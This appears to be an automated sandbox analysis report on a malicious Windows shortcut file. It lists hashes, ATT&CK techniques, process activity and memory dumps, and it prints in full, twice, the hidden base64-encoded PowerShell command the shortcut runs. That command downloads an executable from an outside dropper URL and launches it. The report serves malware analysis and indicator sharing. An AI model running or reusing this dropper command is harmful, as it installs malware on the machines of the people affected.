1c81630804b6f408d2ec4ce688cca89870e52893e59aea6d194c22bc4fb1d182

General

Target

5213706677228235947485/52137066772282356147846598.lnk
Size

4KB
MD5

dc6cd3c09e2d75ef5f1df84472e9b4c4
SHA1

bc79598890a4e39720d32aaaaa803eecf1bba3e3
SHA256

0e85ba9b3fdcc615705fff18bdb7cafad1c99a5378f3f3518c3edc8f3d8cd805
SHA512

7b651dc4a8f73b8bbf5230f754f428540ee4d8b6817a85491c5149ce762bd53288d0ed727c439561455c7f5ab1b66891cd5cb291b2e940f460377e44ce3c6a28
SSDEEP

48:8YFAISNc2ca6rDbakVfmrhpNoVOLYYqXgP7Jiu0GCWUljXZYocIPw7ikOUqIIPwq:8u0c243VWlLVqX67cuiJp1hPwitPw2

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://adrianecolburn.com/download/md2.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2324	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2324	powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
2956	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2324	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2324	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 524 wrote to memory of 2956	524	cmd.exe	31
PID 524 wrote to memory of 2956	524	cmd.exe	31
PID 524 wrote to memory of 2956	524	cmd.exe	31
PID 2956 wrote to memory of 2324	2956	cmd.exe	32
PID 2956 wrote to memory of 2324	2956	cmd.exe	32
PID 2956 wrote to memory of 2324	2956	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\5213706677228235947485\52137066772282356147846598.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:524
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c Powershell.exe -WindowStyle Hidden -enc UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgACAAIAAtAG4AbwBwAHIAbwBmAGkAbABlACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBhAGQAcgBpAGEAbgBlAGMAbwBsAGIAdQByAG4ALgBjAG8AbQAvAGQAbwB3AG4AbABvAGEAZAAvAG0AZAAyAC4AcABoAHAAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAEQAMQA2ADMAMAAzADEALgBlAHgAZQAiACkAOwBOAGUAdwAtAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAYQAiACAALQB0AHkAcABlACAAZgBpAGwAZQAgAC0AZgBvAHIAYwBlACAALQB2AGEAbAB1AGUAIAAiAEYANAAwADYARAA2ADAAMQAwAEQAMABEADAAOQAwAEMARAAzAEMAOABDADgAMABCAEYAQQAxADAAQwA3ADAAMAAwADIAMABEADAAMQAwAEUARgBCADAARQAwAEMARgBFADAAQgBGAEMAMAA4ADAANwAwAEQARgBFADAANwAwAEQAQwA3AEYAQwAwADgAMAA2AEMAOAAwAEIAMAA4ADAAMABGAEUAMABCADAAMgAwADgAMAA3ADAAMgAwADAAMABFADAARAAwADIAQwA4AEYARABGAEEAMABDADAAMQBDAEIAQwA4ADAANgBGAEEAMABDADAARABGAEUAMABCAEMAOAAwADYAMAA4ADAAQwBGAEQAMAAxADAAMwAwADQARgBGADAAMgBDADcARgBDAEYAQQBGAEIARAA2ADAANgBGADYARgA0AEYAQQBEADYAQwBBAEQANgBGAEEARgA2AEIAOQBGADQARgBEAEQANgBFADkARABFAEUAMgBGADEARQAyAEUANgBEADYARgBEAEYANgBGADQAMABEAEQANgBEAEMARgAxAEMANgBFADIARQA3AEQARgBEAEUARABDAEUARABDADkAQwBBAEQANgAwAEQARgA2ACIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0ARAAxADYAMwAwADMAMQAuAGUAeABlADsA
  2⤵
  - Hide Artifacts: Hidden Window
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    Powershell.exe -WindowStyle Hidden -enc UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgACAAIAAtAG4AbwBwAHIAbwBmAGkAbABlACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBhAGQAcgBpAGEAbgBlAGMAbwBsAGIAdQByAG4ALgBjAG8AbQAvAGQAbwB3AG4AbABvAGEAZAAvAG0AZAAyAC4AcABoAHAAIgAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABNAEQAMQA2ADMAMAAzADEALgBlAHgAZQAiACkAOwBOAGUAdwAtAEkAdABlAG0AIAAiACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAYQAiACAALQB0AHkAcABlACAAZgBpAGwAZQAgAC0AZgBvAHIAYwBlACAALQB2AGEAbAB1AGUAIAAiAEYANAAwADYARAA2ADAAMQAwAEQAMABEADAAOQAwAEMARAAzAEMAOABDADgAMABCAEYAQQAxADAAQwA3ADAAMAAwADIAMABEADAAMQAwAEUARgBCADAARQAwAEMARgBFADAAQgBGAEMAMAA4ADAANwAwAEQARgBFADAANwAwAEQAQwA3AEYAQwAwADgAMAA2AEMAOAAwAEIAMAA4ADAAMABGAEUAMABCADAAMgAwADgAMAA3ADAAMgAwADAAMABFADAARAAwADIAQwA4AEYARABGAEEAMABDADAAMQBDAEIAQwA4ADAANgBGAEEAMABDADAARABGAEUAMABCAEMAOAAwADYAMAA4ADAAQwBGAEQAMAAxADAAMwAwADQARgBGADAAMgBDADcARgBDAEYAQQBGAEIARAA2ADAANgBGADYARgA0AEYAQQBEADYAQwBBAEQANgBGAEEARgA2AEIAOQBGADQARgBEAEQANgBFADkARABFAEUAMgBGADEARQAyAEUANgBEADYARgBEAEYANgBGADQAMABEAEQANgBEAEMARgAxAEMANgBFADIARQA3AEQARgBEAEUARABDAEUARABDADkAQwBBAEQANgAwAEQARgA2ACIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE0ARAAxADYAMwAwADMAMQAuAGUAeABlADsA
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2324

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Window

1

T1564.003

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2324-40-0x000007FEF4F1E000-0x000007FEF4F1F000-memory.dmp

Filesize
4KB

Download
memory/2324-43-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

Filesize
9.6MB

Download
memory/2324-42-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/2324-41-0x000000001B150000-0x000000001B432000-memory.dmp

Filesize
2.9MB

Download
memory/2324-44-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

Filesize
9.6MB

Download
memory/2324-45-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

Filesize
9.6MB

Download
memory/2324-46-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

Filesize
9.6MB

Download
memory/2324-48-0x000007FEF4C60000-0x000007FEF55FD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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